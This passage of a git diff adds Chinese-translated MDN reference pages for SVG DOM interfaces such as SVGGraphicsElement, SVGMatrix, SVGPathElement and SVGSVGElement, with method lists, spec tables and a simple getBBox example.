+

Note: The pathLength property and the getTotalLength() and getPointAtLength() methods were originally part of the {{domxref("SVGPathElement")}} interface. In SVG 2 they were moved to this interface.

+
+ +

Properties

+ +

This interface also inherits properties from its parent, {{domxref("SVGGraphicsElement")}}.

+ +
+
{{domxref("SVGGeometryElement.pathLength")}} {{readOnlyInline}}
+
This property reflects the {{SVGAttr("pathLength")}} attribute.
+
+ +

Methods

+ +

This interface also inherits methods from its parent, {{domxref("SVGGraphicsElement")}}.

+ +
+
{{domxref("SVGGeometryElement.isPointInFill()")}}
+
Determines whether a given point is within the fill shape of an element. Normal hit testing rules apply; the value of the {{cssxref("pointer-events")}} property on the element determines whether a point is considered to be within the fill.
+
{{domxref("SVGGeometryElement.isPointInStroke()")}}
+
Determines whether a given point is within the stroke shape of an element. Normal hit testing rules apply; the value of the {{cssxref("pointer-events")}} property on the element determines whether a point is considered to be within the stroke.
+
{{domxref("SVGGeometryElement.getTotalLength()")}}
+
Returns the user agent's computed value for the total length of the path in user units.
+
{{domxref("SVGGeometryElement.getPointAtLength()")}}
+
Returns the point at a given distance along the path.
+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("SVG2", "types.html#InterfaceSVGGeometryElement", "SVGGeometryElement")}}{{Spec2("SVG2")}}Initial definition
+ +

Browser compatibility

+ + + +

{{Compat("api.SVGGeometryElement")}}

diff --git a/files/zh-cn/web/api/svggraphicselement/getbbox/index.html b/files/zh-cn/web/api/svggraphicselement/getbbox/index.html new file mode 100644 index 0000000000..4649341611 --- /dev/null +++ b/files/zh-cn/web/api/svggraphicselement/getbbox/index.html @@ -0,0 +1,85 @@ +--- +title: getBBox +slug: Web/API/SVGGraphicsElement/getBBox +tags: + - SVG + - getBBox +translation_of: Web/API/SVGGraphicsElement/getBBox +--- +

SVGGraphicsElement.getBBox()允许我们确定对象适合的最小矩形的坐标。返回的坐标是相对于当前svg空间的,即在将所有几何属性应用于目标元素中包含的所有元素之后。

+ +

Note: getBBox must return the actual bounding box at the time the method was called, even in case the element has not yet been rendered. It also neglects any transformation applied on the element or its parents.

+ +
+

getBBox returns different values than getBoundingClientRect, as the latter returns value relative to the viewport

+
+ +

Syntax

+ +
let bboxRect = object.getBBox();
+ +

Return value

+ +

The returned value is a SVGRect object, which defines the bounding box. This value is irrespective of any transformation attribute applied to it or the parent elements.

+ +

Example

+ +

HTML

+ +
<svg viewBox="0 0 200 200" xmlns="http://www.w3.org/2000/svg">
+    <g id="group_text_1">
+        <text x="5" y="16" transform="scale(2, 2)">Hello World!</text>
+        <text x="8" y="32" transform="translate(0 20) scale(1.25 1)">Hello World Again!</text>
+    </g>
+    <!-- Shows BBox in green -->
+    <rect id="rect_1" stroke="#00ff00" stroke-width="3" fill="none"> </rect>
+    <!-- Shows BoundingClientRect in red -->
+    <rect id="rect_2" stroke="#ff0000" stroke-width="3" fill="none"></rect>
+</svg>
+
+ +

JavaScript

+ +
var rectBBox = document.querySelector('#rect_1');
+var rectBoundingClientRect = document.querySelector('#rect_2');
+var groupElement = document.querySelector('#group_text_1');
+
+var bboxGroup = groupElement.getBBox();
+rectBBox.setAttribute('x', bboxGroup.x);
+rectBBox.setAttribute('y', bboxGroup.y);
+rectBBox.setAttribute('width', bboxGroup.width);
+rectBBox.setAttribute('height', bboxGroup.height);
+
+var boundingClientRectGroup = groupElement.getBoundingClientRect();
+rectBoundingClientRect.setAttribute('x', boundingClientRectGroup.x);
+rectBoundingClientRect.setAttribute('y', boundingClientRectGroup.y);
+rectBoundingClientRect.setAttribute('width', boundingClientRectGroup.width);
+rectBoundingClientRect.setAttribute('height', boundingClientRectGroup.height);
+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('SVG1.1', 'types.html#__svg__SVGLocatable__getBBox', 'getBBox')}}{{Spec2('SVG1.1')}}Initial definition (applies to SVG elements only).
+ +


+  

+ +

See also

+ + diff --git a/files/zh-cn/web/api/svggraphicselement/index.html b/files/zh-cn/web/api/svggraphicselement/index.html new file mode 100644 index 0000000000..6214ff482c --- /dev/null +++ b/files/zh-cn/web/api/svggraphicselement/index.html @@ -0,0 +1,67 @@ +--- +title: SVGGraphicsElement +slug: Web/API/SVGGraphicsElement +tags: + - API + - NeedsExample + - NeedsTranslation + - Reference + - SVG + - SVG OM + - TopicStub +translation_of: Web/API/SVGGraphicsElement +--- +
{{APIRef("SVG")}}
+ +

 SVGGraphicsElement 接口表示SVG元素,其主要目的是将图形直接渲染到组中。

+ +

{{InheritanceDiagram(600, 120)} }

+ +
+

提示: 该接口是SVG 2中引入的,它取代了SVG 1.1中的{{domxref(“ SVGLocatable”)}}和{{domxref(“ SVGTransformable”)}}接口。

+
+ +

属性

+ +

此接口还从其父接口{{domxref(“ SVGElement”)}}继承属性

+ +
+
{{domxref(“ SVGGraphicsElement.transform”)}} {{ReadOnlyInline}}
+ 一个{{domxref(“ SVGAnimatedTransformList”)}}反映给定元素的{{cssxref(“ transform”)}}属性的计算值及其对应的{{SVGAttr(“ transform”)}}}属性。
+
+ +

方法

+ +

此接口还从其父方法{{domxref(“ SVGElement”)}}继承方法。

+ +
+
{{domxref("SVGGraphicsElement.getBBox()")}}
+
返回一个{{domxref(“ DOMRect”)}},它表示当前元素的计算出的边界框。
+
{{domxref("SVGGraphicsElement.getCTM()")}}
+
返回一个{{domxref(“ DOMMatrix”)}},代表将当前元素的坐标系转换为其SVG视口的坐标系的矩阵。
+
{{domxref("SVGGraphicsElement.getScreenCTM()")}}
+
返回一个{{domxref(“ DOMMatrix”)}}代表表示将当前元素的坐标系转换为SVG文档片段的SVG视口的坐标系的矩阵。
+
+ +

规范

+ + + + + + + + + + + + + + +
规范状态说明
{{SpecName("SVG2", "types.html#InterfaceSVGGraphicsElement", "SVGGraphicsElement")}}{{Spec2("SVG2")}}Initial definition
+ +

浏览器兼容性

+ + + +

{{Compat("api.SVGGraphicsElement")}}

diff --git a/files/zh-cn/web/api/svgmatrix/index.html b/files/zh-cn/web/api/svgmatrix/index.html new file mode 100644 index 0000000000..998987d6e0 --- /dev/null +++ b/files/zh-cn/web/api/svgmatrix/index.html @@ -0,0 +1,95 @@ +--- +title: SVGMatrix +slug: Web/API/SVGMatrix +translation_of: Web/API/SVGMatrix +--- +
{{APIRef("SVG")}}{{deprecated_header}}
+ +

Many of SVG's graphics operations utilize 2x3 matrices of the form:

+ +
[a c e]
+[b d f]
+ +

which, when expanded into a 3x3 matrix for the purposes of matrix arithmetic, become:

+ +
[a c e]
+[b d f]
+[0 0 1]
+
+ +

An SVGMatrix object can be designated as read only, which means that attempts to modify the object will result in an exception being thrown.

+ +
+

Warning: SVG 2 replaced the SVGMatrix interface by the more general {{domxref("DOMMatrix")}} and {{domxref("DOMMatrixReadOnly")}} interfaces.

+
+ +

Properties

+ +
+
{{domxref("SVGMatrix.a")}}
+
A float representing the a component of the matrix.
+
{{domxref("SVGMatrix.b")}}
+
A float representing the b component of the matrix.
+
{{domxref("SVGMatrix.c")}}
+
A float representing the c component of the matrix.
+
{{domxref("SVGMatrix.d")}}
+
A float representing the d component of the matrix.
+
{{domxref("SVGMatrix.e")}}
+
A float representing the e component of the matrix.
+
{{domxref("SVGMatrix.f")}}
+
A float representing the f component of the matrix.
+
+ +

Methods

+ +
+
{{domxref("SVGMatrix.multiply()")}}
+
Performs matrix multiplication. This matrix is post-multiplied by another matrix, returning the resulting new matrix as SVGMatrix.
+
{{domxref("SVGMatrix.inverse()")}}
+
Returns the inverse matrix as SVGMatrix.
+
{{domxref("SVGMatrix.translate()")}}
+
Post-multiplies a translation transformation on the current matrix and returns the resulting matrix as SVGMatrix.
+
{{domxref("SVGMatrix.scale()")}}
+
Post-multiplies a uniform scale transformation on the current matrix and returns the resulting matrix as SVGMatrix.
+
{{domxref("SVGMatrix.scaleNonUniform()")}}
+
Post-multiplies a non-uniform scale transformation on the current matrix and returns the resulting matrix as SVGMatrix.
+
{{domxref("SVGMatrix.rotate()")}}
+
Post-multiplies a rotation transformation on the current matrix and returns the resulting matrix as SVGMatrix.
+
{{domxref("SVGMatrix.rotateFromVector()")}}
+
Post-multiplies a rotation transformation on the current matrix and returns the resulting matrix as SVGMatrix. The rotation angle is determined by taking (+/-) atan(y/x). The direction of the vector (x, y) determines whether the positive or negative angle value is used.
+
{{domxref("SVGMatrix.flipX()")}}
+
Post-multiplies the transformation [-1 0 0 1 0 0] and returns the resulting matrix as SVGMatrix.
+
{{domxref("SVGMatrix.flipY()")}}
+
Post-multiplies the transformation [1 0 0 -1 0 0] and returns the resulting matrix as SVGMatrix.
+
{{domxref("SVGMatrix.skewX()")}}
+
Post-multiplies a skewX transformation on the current matrix and returns the resulting matrix as SVGMatrix.
+
{{domxref("SVGMatrix.skewY()")}}
+
Post-multiplies a skewY transformation on the current matrix and returns the resulting matrix as SVGMatrix.
+
+ +

Exceptions

+ +

A {{domxref("DOMException")}} with the code NO_MODIFICATION_ALLOWED_ERR is raised when attempting updating a read-only attribute or when the object itself is read-only.

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("SVG1.1", "coords.html#InterfaceSVGMatrix", "SVGMatrix")}}{{Spec2("SVG1.1")}}Initial definition
+ +

Browser compatibility

+ + + +

{{Compat("api.SVGMatrix")}}

diff --git a/files/zh-cn/web/api/svgpathelement/gettotallength/index.html b/files/zh-cn/web/api/svgpathelement/gettotallength/index.html new file mode 100644 index 0000000000..1bebff440c --- /dev/null +++ b/files/zh-cn/web/api/svgpathelement/gettotallength/index.html @@ -0,0 +1,50 @@ +--- +title: SVGPathElement.getTotalLength() +slug: Web/API/SVGPathElement/getTotalLength +translation_of: Web/API/SVGPathElement/getTotalLength +--- +
{{APIRef("SVG")}}
+ +

 SVGPathElement.getTotalLength() 该方法返回用户代理对路径总长度(以用户单位为单位)的计算值。

+ +
+

注意:在SVG 2中,该方法被移动到 {{DOMxRef("SVGGeometryElement")}} 接口,由 {{DOMxRef("SVGPathElement")}} 继承。

+
+ +

语法

+ +
float someElement.getTotalLength();
+
+ +

返回值

+ +

指示路径总长度(以用户单位为单位)的浮点数。

+ +

规格

+ + + + + + + + + + + + + + +
规格状态注解
{{SpecName("SVG1.1", "paths.html#__svg__SVGPathElement__getTotalLength", "SVGPathElement.getTotalLength()")}}{{Spec2("SVG1.1")}}最初的定义
+ +

浏览器兼容性

+ + + +

{{Compat("api.SVGPathElement.getTotalLength")}}

+ +

另请参阅

+ + diff --git a/files/zh-cn/web/api/svgpathelement/index.html b/files/zh-cn/web/api/svgpathelement/index.html new file mode 100644 index 0000000000..0a83545951 --- /dev/null +++ b/files/zh-cn/web/api/svgpathelement/index.html @@ -0,0 +1,478 @@ +--- +title: SVGPathElement +slug: Web/API/SVGPathElement +tags: + - API + - SVG + - SVG DOM + - 参考 + - 需要兼容性表 + - 需要示例 +translation_of: Web/API/SVGPathElement +--- +
{{APIRef("SVG")}}
+ +

SVG path interface

+ +

SVGPathElement接口对应于{{ SVGElement("path") }}元素。

+ +

接口概览

+ + + + + + + + + + + + + + + + + + + + +
又作用于{{ domxref("SVGElement") }}、 {{ domxref("SVGTests") }}、 {{ domxref("SVGLangSpace") }}、 {{ domxref("SVGExternalResourcesRequired") }}、 {{ domxref("SVGStylable") }}、 {{ domxref("SVGTransformable") }}、 {{ domxref("SVGAnimatedPathData") }}
方法 +
    +
  • float getTotalLength()
  • +
  • {{ domxref("SVGPoint") }} getPointAtLength(in float distance)
  • +
  • unsigned long getPathSegAtLength(in float distance)
  • +
  • {{ domxref("SVGPathSegClosePath") }} createSVGPathSegClosePath()
  • +
  • {{ domxref("SVGPathSegMovetoAbs") }} createSVGPathSegMovetoAbs(in float x, in float y)
  • +
  • {{ domxref("SVGPathSegMovetoRel") }} createSVGPathSegMovetoRel(in float x, in float y)
  • +
  • {{ domxref("SVGPathSegLinetoAbs") }} createSVGPathSegLinetoAbs(in float x, in float y)
  • +
  • {{ domxref("SVGPathSegLinetoRel") }} createSVGPathSegLinetoRel(in float x, in float y)
  • +
  • {{ domxref("SVGPathSegCurvetoCubicAbs") }} createSVGPathSegCurvetoCubicAbs(in float x, in float y, in float x1, in float y1, in float x2, in float y2)
  • +
  • {{ domxref("SVGPathSegCurvetoCubicRel") }} createSVGPathSegCurvetoCubicRel(in float x, in float y, in float x1, in float y1, in float x2, in float y2)
  • +
  • {{ domxref("SVGPathSegCurvetoQuadraticAbs") }} createSVGPathSegCurvetoQuadraticAbs(in float x, in float y, in float x1, in float y1)
  • +
  • {{ domxref("SVGPathSegCurvetoQuadraticRel") }} createSVGPathSegCurvetoQuadraticRel(in float x, in float y, in float x1, in float y1)
  • +
  • {{ domxref("SVGPathSegArcAbs") }} createSVGPathSegArcAbs(in float x, in float y, in float r1, in float r2, in float angle, in boolean largeArcFlag, in boolean sweepFlag)
  • +
  • {{ domxref("SVGPathSegArcRel") }} createSVGPathSegArcRel(in float x, in float y, in float r1, in float r2, in float angle, in boolean largeArcFlag, in boolean sweepFlag)
  • +
  • {{ domxref("SVGPathSegLinetoHorizontalAbs") }} createSVGPathSegLinetoHorizontalAbs(in float x)
  • +
  • {{ domxref("SVGPathSegLinetoHorizontalRel") }} createSVGPathSegLinetoHorizontalRel(in float x)
  • +
  • {{ domxref("SVGPathSegLinetoVerticalAbs") }} createSVGPathSegLinetoVerticalAbs(in float y)
  • +
  • {{ domxref("SVGPathSegLinetoVerticalRel") }} createSVGPathSegLinetoVerticalRel(in float y)
  • +
  • {{ domxref("SVGPathSegCurvetoCubicSmoothAbs") }} createSVGPathSegCurvetoCubicSmoothAbs(in float x, in float y, in float x2, in float y2)
  • +
  • {{ domxref("SVGPathSegCurvetoCubicSmoothRel") }} createSVGPathSegCurvetoCubicSmoothRel(in float x, in float y, in float x2, in float y2)
  • +
  • {{ domxref("SVGPathSegCurvetoQuadraticSmoothAbs") }} createSVGPathSegCurvetoQuadraticSmoothAbs(in float x, in float y)
  • +
  • {{ domxref("SVGPathSegCurvetoQuadraticSmoothRel") }} createSVGPathSegCurvetoQuadraticSmoothRel(in float x, in float y);
  • +
+
属性 +
    +
  • {{ domxref("SVGAnimatedNumber") }} pathLength
  • +
+
规范文档SVG 1.1 (2nd Edition)
+ +

属性

+ + + + + + + + + + + + + + + + +
名称类型描述
pathLength{{ domxref("SVGAnimatedNumber") }}对应于给定{{ SVGElement("path") }}元素的{{ SVGAttr("pathLength") }}属性。
+ +

方法

+ +

 

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
名称和参数返回描述
getTotalLength()浮点数返回用浏览器的 distance-along-a-path 算法计算得出的路径全长,匹配当前用户坐标系中的长度。
getPointAtLength(in float distance){{ domxref("SVGPoint") }}Returns the (x,y) coordinate in user space which is distance units along the path, utilizing the browser's distance-along-a-path algorithm.
getPathSegAtLength(in float distance)无符号长整型Returns the index into pathSegList which is distance units along the path, utilizing the user agent's distance-along-a-path algorithm.
createSVGPathSegClosePath(){{ domxref("SVGPathSegClosePath") }}Returns a stand-alone, parentless {{ domxref("SVGPathSegClosePath") }} object.
createSVGPathSegMovetoAbs(in float x, in float y){{ domxref("SVGPathSegMovetoAbs") }}Returns a stand-alone, parentless {{ domxref("SVGPathSegMovetoAbs") }} object.
+
+ Parameters: +
    +
  • float x
    + The absolute X coordinate for the end point of this path segment.
  • +
  • float y
    + The absolute Y coordinate for the end point of this path segment.
  • +
+
createSVGPathSegMovetoRel(in float x, in float y){{ domxref("SVGPathSegMovetoRel") }}Returns a stand-alone, parentless {{ domxref("SVGPathSegMovetoRel") }} object.
+
+ Parameters: +
    +
  • float x
    + The relative X coordinate for the end point of this path segment.
  • +
  • float y
    + The relative Y coordinate for the end point of this path segment.
  • +
+
createSVGPathSegLinetoAbs(in float x, in float y){{ domxref("SVGPathSegLinetoAbs") }}Returns a stand-alone, parentless {{ domxref("SVGPathSegLinetoAbs") }} object.
+
+ Parameters: +
    +
  • float x
    + The absolute X coordinate for the end point of this path segment.
  • +
  • float y
    + The absolute Y coordinate for the end point of this path segment.
  • +
+
createSVGPathSegLinetoRel(in float x, in float y){{ domxref("SVGPathSegLinetoRel") }}Returns a stand-alone, parentless {{ domxref("SVGPathSegLinetoRel") }} object.
+
+ Parameters: +
    +
  • float x
    + The relative X coordinate for the end point of this path segment.
  • +
  • float y
    + The relative Y coordinate for the end point of this path segment.
  • +
+
createSVGPathSegCurvetoCubicAbs(in float x, in float y, in float x1, in float y1, in float x2, in float y2){{ domxref("SVGPathSegCurvetoCubicAbs") }}Returns a stand-alone, parentless {{ domxref("SVGPathSegCurvetoCubicAbs") }} object.
+
+ Parameters: +
    +
  • float x
    + The absolute X coordinate for the end point of this path segment.
  • +
  • float y
    + The absolute Y coordinate for the end point of this path segment.
  • +
  • float x1
    + The absolute X coordinate for the first control point.
  • +
  • float y1
    + The absolute Y coordinate for the first control point.
  • +
  • float x2
    + The absolute X coordinate for the second control point.
  • +
  • float y2
    + The absolute Y coordinate for the second control point.
  • +
+
createSVGPathSegCurvetoCubicRel(in float x, in float y, in float x1, in float y1, in float x2, in float y2){{ domxref("SVGPathSegCurvetoCubicRel") }}Returns a stand-alone, parentless {{ domxref("SVGPathSegCurvetoCubicRel") }} object.
+
+ Parameters: +
    +
  • float x
    + The relative X coordinate for the end point of this path segment.
  • +
  • float y
    + The relative Y coordinate for the end point of this path segment.
  • +
  • float x1
    + The relative X coordinate for the first control point.
  • +
  • float y1
    + The relative Y coordinate for the first control point.
  • +
  • float x2
    + The relative X coordinate for the second control point.
  • +
  • float y2
    + The relative Y coordinate for the second control point.
  • +
+
createSVGPathSegCurvetoQuadraticAbs(in float x, in float y, in float x1, in float y1){{ domxref("SVGPathSegCurvetoQuadraticAbs") }}Returns a stand-alone, parentless {{ domxref("SVGPathSegCurvetoQuadraticAbs") }} object.
+
+ Parameters: +
    +
  • float x
    + The absolute X coordinate for the end point of this path segment.
  • +
  • float y
    + The absolute Y coordinate for the end point of this path segment.
  • +
  • float x1
    + The absolute X coordinate for the first control point.
  • +
  • float y1
    + The absolute Y coordinate for the first control point.
  • +
+
createSVGPathSegCurvetoQuadraticRel(in float x, in float y, in float x1, in float y1){{ domxref("SVGPathSegCurvetoQuadraticRel") }}Returns a stand-alone, parentless {{ domxref("SVGPathSegCurvetoQuadraticRel") }} object.
+
+ Parameters: +
    +
  • float x
    + The relative X coordinate for the end point of this path segment.
  • +
  • float y
    + The relative Y coordinate for the end point of this path segment.
  • +
  • float x1
    + The relative X coordinate for the first control point.
  • +
  • float y1
    + The relative Y coordinate for the first control point.
  • +
+
createSVGPathSegArcAbs(in float x, in float y, in float r1, in float r2, in float angle, in boolean largeArcFlag, in boolean sweepFlag){{ domxref("SVGPathSegArcAbs") }}Returns a stand-alone, parentless {{ domxref("SVGPathSegArcAbs") }} object.
+
+ Parameters: +
    +
  • float x
    + The absolute X coordinate for the end point of this path segment.
  • +
  • float y
    + The absolute Y coordinate for the end point of this path segment.
  • +
  • float r1
    + The x-axis radius for the ellipse.
  • +
  • float r2
    + The y-axis radius for the ellipse.
  • +
  • float angle
    + The rotation angle in degrees for the ellipse's x-axis relative to the x-axis of the user coordinate system.
  • +
  • boolean largeArcFlag
    + The value of the large-arc-flag parameter.
  • +
  • boolean sweepFlag
    + The value of the large-arc-flag parameter.
  • +
+
createSVGPathSegArcRel(in float x, in float y, in float r1, in float r2, in float angle, in boolean largeArcFlag, in boolean sweepFlag){{ domxref("SVGPathSegArcRel") }}Returns a stand-alone, parentless {{ domxref("SVGPathSegArcRel") }} object.
+
+ Parameters: +
    +
  • float x
    + The relative X coordinate for the end point of this path segment.
  • +
  • float y
    + The relative Y coordinate for the end point of this path segment.
  • +
  • float r1
    + The x-axis radius for the ellipse.
  • +
  • float r2
    + The y-axis radius for the ellipse.
  • +
  • float angle
    + The rotation angle in degrees for the ellipse's x-axis relative to the x-axis of the user coordinate system.
  • +
  • boolean largeArcFlag
    + The value of the large-arc-flag parameter.
  • +
  • boolean sweepFlag
    + The value of the large-arc-flag parameter.
  • +
+
createSVGPathSegLinetoHorizontalAbs(in float x){{ domxref("SVGPathSegLinetoHorizontalAbs") }}Returns a stand-alone, parentless {{ domxref("SVGPathSegLinetoHorizontalAbs") }} object.
+
+ Parameters: +
    +
  • float x
    + The absolute X coordinate for the end point of this path segment.
  • +
+
createSVGPathSegLinetoHorizontalRel(in float x){{ domxref("SVGPathSegLinetoHorizontalRel") }}Returns a stand-alone, parentless {{ domxref("SVGPathSegLinetoHorizontalRel") }} object.
+
+ Parameters: +
    +
  • float x
    + The relative X coordinate for the end point of this path segment.
  • +
+
createSVGPathSegLinetoVerticalAbs(in float y){{ domxref("SVGPathSegLinetoVerticalAbs") }}Returns a stand-alone, parentless {{ domxref("SVGPathSegLinetoVerticalAbs") }} object.
+
+ Parameters: +
    +
  • float y
    + The absolute Y coordinate for the end point of this path segment.
  • +
+
createSVGPathSegLinetoVerticalRel(in float y){{ domxref("SVGPathSegLinetoVerticalRel") }}Returns a stand-alone, parentless {{ domxref("SVGPathSegLinetoVerticalRel") }} object.
+
+ Parameters: +
    +
  • float y
    + The relative Y coordinate for the end point of this path segment.
  • +
+
createSVGPathSegCurvetoCubicSmoothAbs(in float x, in float y, in float x2, in float y2){{ domxref("SVGPathSegCurvetoCubicSmoothAbs") }}Returns a stand-alone, parentless {{ domxref("SVGPathSegCurvetoCubicSmoothAbs") }} object.
+
+ Parameters +
    +
  • float x
    + The absolute X coordinate for the end point of this path segment.
  • +
  • float y
    + The absolute Y coordinate for the end point of this path segment.
  • +
  • float x2
    + The absolute X coordinate for the second control point.
  • +
  • float y2
    + The absolute Y coordinate for the second control point.
  • +
+
createSVGPathSegCurvetoCubicSmoothRel(in float x, in float y, in float x2, in float y2){{ domxref("SVGPathSegCurvetoCubicSmoothRel") }}Returns a stand-alone, parentless {{ domxref("SVGPathSegCurvetoCubicSmoothRel") }} object.
+
+ Parameters +
    +
  • float x
    + The absolute X coordinate for the end point of this path segment.
  • +
  • float y
    + The absolute Y coordinate for the end point of this path segment.
  • +
  • float x2
    + The absolute X coordinate for the second control point.
  • +
  • float y2
    + The absolute Y coordinate for the second control point.
  • +
+
createSVGPathSegCurvetoQuadraticSmoothAbs(in float x, in float y){{ domxref("SVGPathSegCurvetoQuadraticSmoothAbs") }}Returns a stand-alone, parentless {{ domxref("SVGPathSegCurvetoQuadraticSmoothAbs") }} object.
+
+ Parameters: +
    +
  • float x
    + The absolute X coordinate for the end point of this path segment.
  • +
  • float y
    + The absolute Y coordinate for the end point of this path segment.
  • +
+
createSVGPathSegCurvetoQuadraticSmoothRel(in float x, in float y){{ domxref("SVGPathSegCurvetoQuadraticSmoothRel") }}Returns a stand-alone, parentless {{ domxref("SVGPathSegCurvetoQuadraticSmoothRel") }} object.
+
+ Parameters: +
    +
  • float x
    + The absolute X coordinate for the end point of this path segment.
  • +
  • float y
    + The absolute Y coordinate for the end point of this path segment.
  • +
+
+ +

 

+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatNo() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +

参见

+ + diff --git a/files/zh-cn/web/api/svgsvgelement/index.html b/files/zh-cn/web/api/svgsvgelement/index.html new file mode 100644 index 0000000000..0a7cff0b73 --- /dev/null +++ b/files/zh-cn/web/api/svgsvgelement/index.html @@ -0,0 +1,172 @@ +--- +title: SVGSVGElement +slug: Web/API/SVGSVGElement +translation_of: Web/API/SVGSVGElement +--- +
{{APIRef("SVG")}}
+ +

SVGSVGElement接口提供对{{SVGElement("svg")}}元素的属性的访问,以及操作它们的方法。此接口还包含各种常用的实用方法,例如矩阵操作和控制可视渲染设备上重绘时间的功能。

+ +

{{InheritanceDiagram(600,140)}}

+ +

属性

+ +

此接口还从其父 {{domxref("SVGGraphicsElement")}} 继承属性,并且还实现 {{domxref("SVGZoomAndPan")}} {{domxref("SVGFitToViewBox")}} {{domxref("WindowEventHandlers")}} 中的属性。

+ +
+
{{domxref("SVGSVGElement.x")}} {{ReadOnlyInline}}
+
  {{domxref("SVGAnimatedLength")}} 对应于给定 {{SVGElement("svg")}} 元素的 {{SVGAttr("x")}} 属性
+
{{domxref("SVGSVGElement.y")}} {{ReadOnlyInline}}
+
{{domxref("SVGAnimatedLength")}}对应于给定{{SVGElement("svg")}}元素的{{SVGAttr("y")}}属性。
+
{{domxref("SVGSVGElement.width")}} {{ReadOnlyInline}}
+
{{domxref("SVGAnimatedLength")}}对应于给定{{SVGElement("svg")}}元素的{{SVGAttr("width")}}属性。
+
{{domxref("SVGSVGElement.height")}} {{ReadOnlyInline}}
+
{{domxref("SVGAnimatedLength")}}对应于给定{{SVGElement("svg")}}元素的{{SVGAttr("height")}}属性。
+
{{domxref("SVGSVGElement.contentScriptType")}}
+
{{domxref("SVGAnimatedLength")}}对应于给定{{SVGElement("svg")}}元素的{{SVGAttr("contentScriptType")}}属性。
+
{{domxref("SVGSVGElement.contentStyleType")}}
+
{{domxref("SVGAnimatedLength")}}对应于给定{{SVGElement("svg")}}元素的{{SVGAttr("contentStyleType")}}属性。
+
{{domxref("SVGSVGElement.viewport")}}
+
一个{{domxref("SVGRect")}},包含与给定{{SVGElement("svg")}}元素对应的视口(隐式或显式)的位置和大小。当浏览器实际呈现内容时,位置和大小值表示呈现时的实际值。位置和大小值是父元素坐标系中的无单位值。如果不存在父元素(即{{SVGElement("svg")}}元素表示文档树的根),如果此SVG文档作为另一文档的一部分嵌入(例如,通过HTML {{HTMLElement(" object")}} element),然后位置和大小是父文档坐标系中的无单位值。(如果父级使用CSS或XSL布局,
+
{{domxref("SVGSVGElement.pixelUnitToMillimeterX")}} {{deprecated_inline}}
+
一个浮点数,表示沿视口x轴的像素单位(由CSS2定义)的大小,表示70dpi到120dpi范围内的某个单位,并且在支持此功能的系统上,可能实际上与特征匹配目标媒体。在不可能知道像素大小的系统上,提供合适的默认像素大小。
+
{{domxref("SVGSVGElement.pixelUnitToMillimeterY")}} {{deprecated_inline}}
+
浮点数,表示沿视口y轴的像素单位大小。
+
{{domxref("SVGSVGElement.screenPixelToMillimeterX")}} {{deprecated_inline}}
+
DOM级别2中的用户界面(UI)事件指示给定UI事件发生的屏幕位置。当浏览器实际知道“屏幕单元”的物理尺寸时,此浮动属性将表示该信息; 否则,用户代理将提供合适的默认值,例如.28mm。
+
{{domxref("SVGSVGElement.screenPixelToMillimeterY")}} {{deprecated_inline}}
+
沿着视口的y轴的屏幕像素的对应大小。
+
{{domxref("SVGSVGElement.useCurrentView")}}
+
当前最内层SVG文档片段的初始视图(即放大和平移之前)可以是“标准”视图,即基于{{SVGElement("svg")}}元素的属性,例如{{SVGAttr ("viewBox")}})或“自定义”视图(即指向特定{{SVGElement("view")}}或其他元素的超链接)。如果初始视图是“标准”视图,则此属性为false如果初始视图是“自定义”视图,则此属性为true
+
{{domxref("SVGSVGElement.currentView")}}
+
{{domxref("SVGViewSpec")}}定义当前最里面的SVG文档片段的初始视图(即,放大和平移之前)。意义取决于具体情况:如果初始视图是“标准”视图,则: +
    +
  • {{SVGAttr("viewBox")}},{{SVGAttr("preserveAspectRatio")}}和{{SVGAttr("currentView")}}中的{{SVGAttr("zoomAndPan")}}的值将与值匹配对于SVGSVGElement直接打开的相应DOM属性
  • +
  • } {{SVGAttr("currentView")}}中的{{SVGAttr("transform")}}和{{SVGAttr("viewTarget")}}的值将为null
  • +
+ 如果初始视图是{{SVGElement("view")}}元素的链接,那么: + +
    +
  • 在{{SVGAttr("currentView")}}中{{SVGAttr("viewBox")}},{{SVGAttr("preserveAspectRatio")}}和{{SVGAttr("zoomAndPan")}}的值将对应于给定{{SVGElement("view")}}元素的相应属性
  • +
  • } {{SVGAttr("currentView")}}中的{{SVGAttr("transform")}}和{{SVGAttr("viewTarget")}}的值将为null
  • +
+ 如果初始视图是指向另一个元素的链接(即,除了{{SVGElement("view")}}}之外的其他元素,则: + +
    +
  • {{SVGAttr("viewBox")}},{{SVGAttr("preserveAspectRatio")}}和{{SVGAttr("currentView")}}中的{{SVGAttr("zoomAndPan")}}的值将与值匹配对于SVGSVGElement直接用于最近祖先{{SVGElement("svg")}}元素的相应DOM属性
  • +
  • {{SVGAttr("currentView")}}中{{SVGAttr("transform")}}的值将为null
  • +
  • {{SVGAttr("currentView")}}中的{{SVGAttr("viewTarget")}}将代表链接的目标
  • +
+ 如果初始视图是使用SVG视图规范片段标识符(即#svgView(...))链接到SVG文档片段,则: + +
    +
  • the values for {{SVGAttr("viewBox")}}, {{SVGAttr("preserveAspectRatio")}}, {{SVGAttr("zoomAndPan")}}, {{SVGAttr("transform")}} and {{SVGAttr("viewTarget")}} within {{SVGAttr("currentView")}} will correspond to the values from the SVG view specification fragment identifier
  • +
+
+
{{domxref("SVGSVGElement.currentScale")}}
+
